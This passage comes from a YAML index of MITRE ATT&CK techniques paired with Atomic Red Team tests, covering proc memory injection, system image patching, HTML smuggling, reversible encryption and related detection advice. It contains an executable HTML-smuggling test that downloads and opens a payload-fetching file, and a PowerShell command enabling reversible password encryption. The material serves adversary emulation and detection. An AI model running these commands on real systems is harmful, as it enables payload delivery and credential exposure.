        Access Policies) In some cases, identity providers may also support the use
        of risk-based metrics to deny sign-ins based on a variety of indicators. In
        AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary
        constraints such as the source IP, the date the request was made, and the
        nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation:
        GCP IAM Conditions) These measures help to prevent compromised credentials
        from resulting in unauthorized access to data or resources, as well as limit
        user permissions to only those required. \n\nBy modifying conditional access
        policies, such as adding additional trusted IP ranges, removing [Multi-Factor
        Authentication](https://attack.mitre.org/techniques/T1556/006) requirements,
        or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535),
        adversaries may be able to ensure persistent access to accounts and circumvent
        defensive measures."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Gavin Knapp
      - Joshua Penny
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - SaaS
      - IaaS
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Modification'
      - 'Cloud Service: Cloud Service Modification'
      type: attack-pattern
      id: attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae
      created: '2024-01-02T13:43:37.389Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556/009
        external_id: T1556.009
      - source_name: AWS IAM Conditions
        description: 'AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved
          January 2, 2024.'
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html
      - source_name: GCP IAM Conditions
        description: Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January
          2, 2024.
        url: https://cloud.google.com/iam/docs/conditions-overview
      - source_name: JumpCloud Conditional Access Policies
        description: 'JumpCloud. (n.d.). Get Started: Conditional Access Policies.
          Retrieved January 2, 2024.'
        url: https://jumpcloud.com/support/get-started-conditional-access-policies
      - source_name: Microsoft Conditional Access
        description: Microsoft. (2023, November 15). What is Conditional Access?.
          Retrieved January 2, 2024.
        url: https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview
      - source_name: Okta Conditional Access Policies
        description: Okta. (2023, November 30). Conditional Access Based on Device
          Security Posture. Retrieved January 2, 2024.
        url: https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1578.002:
    technique:
      x_mitre_platforms:
      - IaaS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c
      type: attack-pattern
      created: '2020-05-14T14:45:15.978Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1578.002
        url: https://attack.mitre.org/techniques/T1578/002
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      - source_name: AWS CloudTrail Search
        url: https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/
        description: Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances.
          Retrieved June 17, 2020.
      - source_name: Azure Activity Logs
        url: https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs
        description: Microsoft. (n.d.). View Azure activity logs. Retrieved June 17,
          2020.
      - source_name: Cloud Audit Logs
        url: https://cloud.google.com/logging/docs/audit#admin-activity
        description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Create Cloud Instance
      description: |-
        An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)

        Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.

        In AWS, CloudTrail logs capture the creation of an instance in the <code>RunInstances</code> event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances create</code> to create a VM.(Citation: Cloud Audit Logs)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Instance: Instance Creation'
      - 'Instance: Instance Metadata'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1055.009:
    technique:
      x_mitre_platforms:
      - Linux
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591
      type: attack-pattern
      created: '2020-01-14T01:34:10.588Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.009
        url: https://attack.mitre.org/techniques/T1055/009
      - url: http://hick.org/code/skape/papers/needle.txt
        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
          Retrieved December 20, 2017.
        source_name: Uninformed Needle
      - source_name: GDS Linux Injection
        url: https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html
        description: McNamara, R. (2017, September 5). Linux Based Inter-Process Code
          Injection Without Ptrace(2). Retrieved February 21, 2020.
      - source_name: DD Man
        url: http://man7.org/linux/man-pages/man1/dd.1.html
        description: Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved
          February 21, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: Proc Memory
      description: "Adversaries may inject malicious code into processes via the /proc
        filesystem in order to evade process-based defenses as well as possibly elevate
        privileges. Proc memory injection is a method of executing arbitrary code
        in the address space of a separate live process. \n\nProc memory injection
        involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>)
        then crafting a return-oriented programming (ROP) payload with available gadgets/instructions.
        Each running process has its own directory, which includes memory mappings.
        Proc memory injection is commonly performed by overwriting the target processes’
        stack using memory mappings provided by the /proc filesystem. This information
        can be used to enumerate offsets (including the stack) and gadgets (or instructions
        within the program that can be used to build a malicious payload) otherwise
        hidden by process memory protections such as address space layout randomization
        (ASLR). Once enumerated, the target processes’ memory map within <code>/proc/[pid]/maps</code>
        can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux
        Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker
        Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate
        a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012),
        proc memory injection may target child processes (such as a backgrounded copy
        of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context
        of another process may allow access to the process's memory, system/network
        resources, and possibly elevated privileges. Execution via proc memory injection
        may also evade detection from security products since the execution is masked
        under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "File system monitoring can determine if /proc files are
        being modified. Users should not have permission to modify these in most cases.
        \n\nAnalyze process behavior to determine if a process is performing actions
        it usually does not, such as opening network connections, reading files, or
        other suspicious actions that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1601.001:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f
      type: attack-pattern
      created: '2020-10-19T19:49:24.129Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1601.001
        url: https://attack.mitre.org/techniques/T1601/001
      - source_name: Killing the myth of Cisco IOS rootkits
        url: https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf
        description: Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco
          IOS rootkits. Retrieved October 20, 2020.
      - source_name: Killing IOS diversity myth
        url: https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf
        description: 'Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August).
          Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode
          design. Retrieved October 20, 2020.'
      - source_name: Cisco IOS Shellcode
        url: http://2015.zeronights.org/assets/files/05-Nosenko.pdf
        description: 'George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved
          October 21, 2020.'
      - source_name: Cisco IOS Forensics Developments
        url: https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf
        description: Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS
          Forensics. Retrieved October 21, 2020.
      - source_name: Juniper Netscreen of the Dead
        url: https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf
        description: Graeme Neilson . (2009, August). Juniper Netscreen of the Dead.
          Retrieved October 20, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: Patch System Image
      description: "Adversaries may modify the operating system of a network device
        to introduce new capabilities or weaken existing defenses.(Citation: Killing
        the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation:
        Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation:
        Juniper Netscreen of the Dead) Some network devices are built with a monolithic
        architecture, where the entire operating system and most of the functionality
        of the device is contained within a single file.  Adversaries may change this
        file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo
        change the operating system in storage, the adversary will typically use the
        standard procedures available to device operators. This may involve downloading
        a new file via typical protocols used on network devices, such as TFTP, FTP,
        SCP, or a console connection.  The original file may be overwritten, or a
        new file may be written alongside of it and the device reconfigured to boot
        to the compromised image.\n\nTo change the operating system in memory, the
        adversary typically can use one of two methods. In the first, the adversary
        would make use of native debug commands in the original, unaltered running
        operating system that allow them to directly modify the relevant memory addresses
        containing the running operating system.  This method typically requires administrative
        level access to the device.\n\nIn the second method for changing the operating
        system in memory, the adversary would make use of the boot loader. The boot
        loader is the first piece of software that loads when the device starts that,
        in turn, will launch the operating system.  Adversaries may use malicious
        code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004)
        method, to directly manipulate running operating system code in memory.  This
        malicious code in the bootloader provides the capability of direct memory
        manipulation to the adversary, allowing them to patch the live operating system
        during runtime.\n\nBy modifying the instructions stored in the system image
        file, adversaries may either weaken existing defenses or provision new capabilities
        that the device did not have before. Examples of existing defenses that can
        be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600),
        authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004),
        and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).
        \ Adding new capabilities for the adversary’s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001),
        [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port
        Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may
        also compromise existing commands in the operating system to produce false
        output to mislead defenders.   When this method is used in conjunction with
        [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one
        example of a compromised system command may include changing the output of
        the command that shows the version of the currently running operating system.
        \ By patching the operating system, the adversary can change this command
        to instead display the original, higher revision number that they replaced
        through the system downgrade. \n\nWhen the operating system is patched in
        storage, this can be achieved in either the resident storage (typically a
        form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005).
        \n\nWhen the technique is performed on the running operating system in memory
        and not on the stored copy, this technique will not survive across reboots.
        \ However, live memory modification of the operating system can be combined
        with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve
        persistence. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source.  Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not.  Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)

        Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory.  If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1070.009:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Clear Persistence
      description: |-
        Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)

        In some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Gavin Knapp
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Deletion'
      - 'User Account: User Account Deletion'
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Deletion'
      - 'Scheduled Job: Scheduled Job Modification'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33
      created: '2022-07-29T19:32:11.552Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1070/009
        external_id: T1070.009
      - source_name: Cylance Dust Storm
        description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved
          December 22, 2021.
        url: https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf
      - source_name: Talos - Cisco Attack 2022
        description: Nick Biasini. (2022, August 10). Cisco Talos shares insights
          related to recent cyber attack on Cisco. Retrieved March 9, 2023.
        url: https://blog.talosintelligence.com/recent-cyber-attack/
      - source_name: NCC Group Team9 June 2020
        description: Pantazopoulos, N. (2020, June 2). In-depth analysis of the new
          Team9 malware family. Retrieved December 1, 2020.
        url: https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1556.001:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605
      type: attack-pattern
      created: '2020-02-11T19:05:02.399Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.001
        url: https://attack.mitre.org/techniques/T1556/001
      - source_name: Dell Skeleton
        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
          Retrieved April 8, 2019.
        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      modified: '2022-04-25T14:00:00.188Z'
      name: Domain Controller Authentication
      description: "Adversaries may patch the authentication process on a domain controller
        to bypass the typical authentication mechanisms and enable access to accounts.
        \n\nMalware may be used to inject false credentials into the authentication
        process on a domain controller with the intent of creating a backdoor used
        to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)).
        Skeleton key works through a patch on an enterprise domain controller authentication
        process (LSASS) with credentials that adversaries may use to bypass the standard
        authentication system. Once patched, an adversary can use the injected password
        to successfully authenticate as any domain user account (until the the skeleton
        key is erased from memory by a reboot of the domain controller). Authenticated
        access may enable unfettered access to hosts and/or resources within single-factor
        authentication environments.(Citation: Dell Skeleton)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: "Monitor for calls to <code>OpenProcess</code> that can be
        used to manipulate lsass.exe running on a domain controller as well as for
        malicious modifications to functions exported from authentication-related
        system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure
        robust, consistent account activity audit policies across the enterprise and
        with externally accessible services.(Citation: TechNet Audit Policy) Look
        for suspicious account behavior across systems that share accounts, either
        user, admin, or service accounts. Examples: one account logged into multiple
        systems simultaneously; multiple accounts logged into the same machine simultaneously;
        accounts logged in at odd times or outside of business hours. Activity may
        be from interactive login sessions or process ownership from accounts being
        used to execute binaries on a remote system as a particular account. Correlate
        other security systems with login information (e.g. a user has an active login
        session but has not entered the building or does not have VPN access). "
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Process: Process Access'
      - 'File: File Modification'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1027.006:
    technique:
      modified: '2023-07-14T14:01:41.475Z'
      name: HTML Smuggling
      description: |-
        Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)

        Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.

        For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Stan Hegt, Outflank
      - Jonathan Boucher, @crash_wave, Bank of Canada
      - Krishnan Subramanian, @krish203
      - Vinay Pidathala
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as <code>Blob</code>, <code>msSaveOrOpenBlob</code>, and/or <code>download</code> may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.

        Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Web Content Filters
      - Static File Analysis
      type: attack-pattern
      id: attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb
      created: '2021-05-20T12:20:42.219Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1027/006
        external_id: T1027.006
      - source_name: Outlflank HTML Smuggling 2018
        description: Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved
          May 20, 2021.
        url: https://outflank.nl/blog/2018/08/14/html-smuggling-explained/
      - source_name: MSTIC NOBELIUM May 2021
        description: Microsoft Threat Intelligence Center (MSTIC). (2021, May 27).
          New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.
        url: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
      - source_name: HTML Smuggling Menlo Security 2020
        description: 'Subramanian, K. (2020, August 18). New HTML Smuggling Attack
          Alert: Duri. Retrieved May 20, 2021.'
        url: https://www.menlosecurity.com/blog/new-attack-alert-duri
      - source_name: nccgroup Smuggling HTA 2017
        description: Warren, R. (2017, August 8). Smuggling HTA files in Internet
          Explorer/Edge. Retrieved May 20, 2021.
        url: https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1027.006
    atomic_tests:
    - name: HTML Smuggling Remote Payload
      auto_generated_guid: 30cbeda4-08d9-42f1-8685-197fad677734
      description: "The HTML file will download an ISO file from [T1553.005](https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1553.005/bin/FeelTheBurn.iso)
        without user interaction. \nThe HTML file is based off of the work from [Stan
        Hegt](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/)\n"
      supported_platforms:
      - windows
      dependencies:
      - description: 'T1027_006_remote.html must exist on disk at specified at PathToAtomicsFolder\T1027.006\bin\T1027_006_Remote.html

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1027.006\bin\T1027_006_Remote.html")
          { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\T1027.006\bin\" -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.006/bin/T1027_006_Remote.html" -OutFile "PathToAtomicsFolder\T1027.006\bin\T1027_006_Remote.html"
      executor:
        command: '& "PathToAtomicsFolder\T1027.006\bin\T1027_006_remote.html"

          '
        cleanup_command: "$user = [System.Environment]::UserName; Remove-Item -Path
          C:\\Users\\$user\\Downloads\\FeelTheBurn.iso -ErrorAction Ignore"
        name: powershell
        elevation_required: false
  T1556.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48
      type: attack-pattern
      created: '2022-01-13T20:02:28.349Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.005
        url: https://attack.mitre.org/techniques/T1556/005
      - source_name: store_pwd_rev_enc
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption
        description: Microsoft. (2021, October 28). Store passwords using reversible
          encryption. Retrieved January 3, 2022.
      - source_name: how_pwd_rev_enc_1
        url: http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html
        description: 'Teusink, N. (2009, August 25). Passwords stored using reversible
          encryption: how it works (part 1). Retrieved November 17, 2021.'
      - source_name: how_pwd_rev_enc_2
        url: http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html
        description: 'Teusink, N. (2009, August 26). Passwords stored using reversible
          encryption: how it works (part 2). Retrieved November 17, 2021.'
      - source_name: dump_pwd_dcsync
        url: https://adsecurity.org/?p=2053
        description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for
          All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.
      modified: '2022-05-11T14:00:00.188Z'
      name: Reversible Encryption
      description: |-
        An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)

        If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:

        1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>
        2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>
        3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)
        4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)

        With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)

        An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: "Monitor property changes in Group Policy: <code>Computer
        Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password
        Policy\\Store passwords using reversible encryption</code>. By default, the
        property should be set to Disabled.\n\nMonitor command-line usage for <code>-AllowReversiblePasswordEncryption
        $true</code> or other actions that could be related to malicious tampering
        of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)).
        Furthermore, consider monitoring and/or blocking suspicious execution of Active
